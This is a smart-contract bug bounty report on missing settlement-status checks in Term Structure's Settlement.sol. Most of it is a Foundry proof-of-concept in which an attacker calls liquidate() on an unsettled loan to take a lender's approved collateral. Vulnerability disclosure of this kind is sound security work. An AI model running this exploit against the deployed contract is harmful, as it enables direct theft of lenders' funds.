#47115 [SC-Critical] Missing Settlement Status Validation in Loan Operations
Submitted on Jun 9th 2025 at 02:57:53 UTC by @Catchme for IOP | Term Structure Institutional
Report ID: #47115
Report Type: Smart Contract
Report severity: Critical
Target: https://github.com/term-structure/tsi-contract/blob/main/src/Settlement.sol
Impacts:
Protocol insolvency
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
Critical settlement status validation is missing in multiple loan operations in the Settlement contract, allowing users to perform operations on unsettled loans. This vulnerability enables attackers to steal funds, manipulate loan states, and bypass the intended settlement process flow, potentially resulting in significant direct financial losses to both lenders and borrowers.
Vulnerability Details
In the Settlement contract's architecture, loans must first be settled through the settle()
function before any loan operations can be performed. This function executes the core fund transfers and marks the loan as settled by setting loans[loanId].settled = true
. However, several critical loan operations fail to verify this settlement prerequisite:
// Example of missing validation in liquidate() function - lines 335-356
function liquidate(string memory _loanId, uint256 liquidationAmt) external nonReentrant {
bytes32 loanId = _loanId.toBytes32();
LoanInfo memory loanInfo = loans[loanId];
// Missing validation: if (!loanInfo.settled) revert LoanNotSettled(loanId);
(uint256 collateralToLiquidator, uint256 collateralToProtocol) =
loanInfo.liquidate(loanId, _oracle, _minimumDebtValue, liquidationAmt);
// Transfers happen without settlement confirmation
IERC20(loanInfo.debtTokenAddr).safeTransferFrom(msg.sender, loanInfo.lender, liquidationAmt);
IERC20(loanInfo.collateralTokenAddr).safeTransferFrom(loanInfo.lender, msg.sender, collateralToLiquidator);
IERC20(loanInfo.collateralTokenAddr).safeTransferFrom(loanInfo.lender, _feeCollector, collateralToProtocol);
// ...
}
The affected functions include:
repay()
(line 277)removeCollateral()
(line 296)addCollateral()
(line 307)liquidate()
(line 335)delivery()
(line 324)
This contrasts with addCollateralBeforeSettle()
and settle()
which correctly implement settlement status validation:
function addCollateralBeforeSettle(string memory _loanId, uint256 addedAmount) public nonReentrant {
// ...
if (loanInfo.settled) {
revert LoanAlreadySettled(loanId);
}
// ...
}
Impact Details
This vulnerability creates multiple attack vectors with direct financial impact:
Direct Fund Theft via Operations on Unsettled Loans:
Attackers can call
liquidate()
on unsettled loans, extracting collateral tokens from lenders who approved allowances expecting the normal settlement flowUsers can call
addCollateral()
on unsettled loans, causing immediate token transfers without loan establishmentBoth scenarios result in immediate and irrecoverable financial loss
Protocol State Corruption:
Premature
repay()
calls can manipulate loan parameters on unsettled loansremoveCollateral()
can be called before proper collateralization is establishedThese operations break the protocol's accounting system and create inconsistent state
Proof of Concept
POC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../src/Settlement.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10**18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockOracle is IOracle {
function getPrice(address token) external pure override returns (PriceInfo memory) {
return PriceInfo({
price: 1e18, // 1:1 price ratio for simplicity
timestamp: block.timestamp,
source: "MOCK"
});
}
}
contract SettlementValidationPOC is Test {
Settlement settlement;
MockERC20 collateralToken;
MockERC20 debtToken;
MockOracle oracle;
address admin = address(1);
address feeCollector = address(2);
address operator = address(3);
address lender = address(4);
address borrower = address(5);
address attacker = address(6);
uint256 initialCollateral = 100 * 10**18; // 100 tokens
uint256 borrowAmount = 80 * 10**18; // 80 tokens
function setUp() public {
// Deploy tokens
collateralToken = new MockERC20("Collateral Token", "CTK");
debtToken = new MockERC20("Debt Token", "DTK");
oracle = new MockOracle();
// Deploy settlement contract
settlement = new Settlement(admin, feeCollector, operator, address(oracle));
// Distribute tokens
collateralToken.transfer(lender, 500 * 10**18);
debtToken.transfer(lender, 500 * 10**18);
debtToken.transfer(attacker, 100 * 10**18); // Attacker needs debt tokens to perform liquidation
// Set up approvals
vm.startPrank(lender);
collateralToken.approve(address(settlement), type(uint256).max); // Critical: lender approves contract
debtToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
vm.startPrank(attacker);
debtToken.approve(address(settlement), type(uint256).max); // Attacker approves to spend debt tokens
vm.stopPrank();
vm.startPrank(borrower);
collateralToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
// Create settlement with an unsettled loan
createUnsettledLoan();
}
function createUnsettledLoan() internal {
string memory settlementIdStr = "test-settlement";
string memory loanIdStr = "test-loan";
string[] memory loanIds = new string[](1);
loanIds[0] = loanIdStr;
LoanInfo[] memory loanInfos = new LoanInfo[](1);
DebtData memory debtData = DebtData({
borrowedAmt: borrowAmount,
debtAmt: borrowAmount,
feeAmt: 0,
collateralAmt: initialCollateral
});
// Create loan with lender as the maker
loanInfos[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: debtData,
settled: false // Loan is NOT settled yet
});
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
// Generate signature (mocked for simplicity)
bytes memory signature = abi.encodePacked(
bytes32(0x12345678),
bytes32(0x12345678),
uint8(27)
);
// Create settlement as borrower
vm.startPrank(borrower);
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
settlement.createSettlement(settlementIdStr, settleInfo, loanIds, loanInfos, signature);
vm.stopPrank();
// At this point, we have created a settlement with an unsettled loan
// The normal flow would be to call settle(), but we won't do that for the attack
}
function testExploitUnsettledLiquidation() public {
string memory loanIdStr = "test-loan";
// Record balances before attack
uint256 lenderCollateralBefore = collateralToken.balanceOf(lender);
uint256 attackerCollateralBefore = collateralToken.balanceOf(attacker);
uint256 attackerDebtBefore = debtToken.balanceOf(attacker);
console.log("Initial balances:");
console.log("Lender collateral:", lenderCollateralBefore);
console.log("Attacker collateral:", attackerCollateralBefore);
console.log("Attacker debt tokens:", attackerDebtBefore);
// The loan hasn't been settled yet, which means:
// 1. No funds have actually been transferred from lender to borrower
// 2. No collateral has been transferred from borrower to lender
// Attacker exploits the missing settlement check in liquidate()
uint256 liquidationAmount = 10 * 10**18; // Liquidate a portion of the loan
// Exploit: Attacker calls liquidate() on an unsettled loan
vm.startPrank(attacker);
settlement.liquidate(loanIdStr, liquidationAmount);
vm.stopPrank();
// Check balances after attack
uint256 lenderCollateralAfter = collateralToken.balanceOf(lender);
uint256 attackerCollateralAfter = collateralToken.balanceOf(attacker);
uint256 attackerDebtAfter = debtToken.balanceOf(attacker);
console.log("\nBalances after attack:");
console.log("Lender collateral:", lenderCollateralAfter);
console.log("Attacker collateral:", attackerCollateralAfter);
console.log("Attacker debt tokens:", attackerDebtAfter);
// Verify the exploit:
// 1. Attacker spent some debt tokens
assertLt(
attackerDebtAfter,
attackerDebtBefore,
"Attacker should spend debt tokens"
);
// 2. Attacker gained collateral tokens that were never properly locked
assertGt(
attackerCollateralAfter,
attackerCollateralBefore,
"Attacker should gain collateral tokens"
);
// 3. Calculate the profit
uint256 debtSpent = attackerDebtBefore - attackerDebtAfter;
uint256 collateralGained = attackerCollateralAfter - attackerCollateralBefore;
console.log("\nAttack summary:");
console.log("Debt tokens spent:", debtSpent);
console.log("Collateral tokens gained:", collateralGained);
// Since we're using a 1:1 price ratio in the mock oracle,
// the attacker would typically get more collateral than the debt spent
// due to liquidation bonuses - proving the exploit is profitable
// Optional: Verify the LoanInfo state
LoanInfo memory loanInfo = settlement.getLoan(loanIdStr);
console.log("\nLoan state after attack:");
console.log("Loan settled:", loanInfo.settled ? "true" : "false");
console.log("Remaining debt:", loanInfo.debtData.debtAmt);
console.log("Remaining collateral:", loanInfo.debtData.collateralAmt);
// Finally, show this was all possible without the loan ever being settled
assertEq(
loanInfo.settled,
false,
"Loan should still be marked as unsettled"
);
}
}
Was this helpful?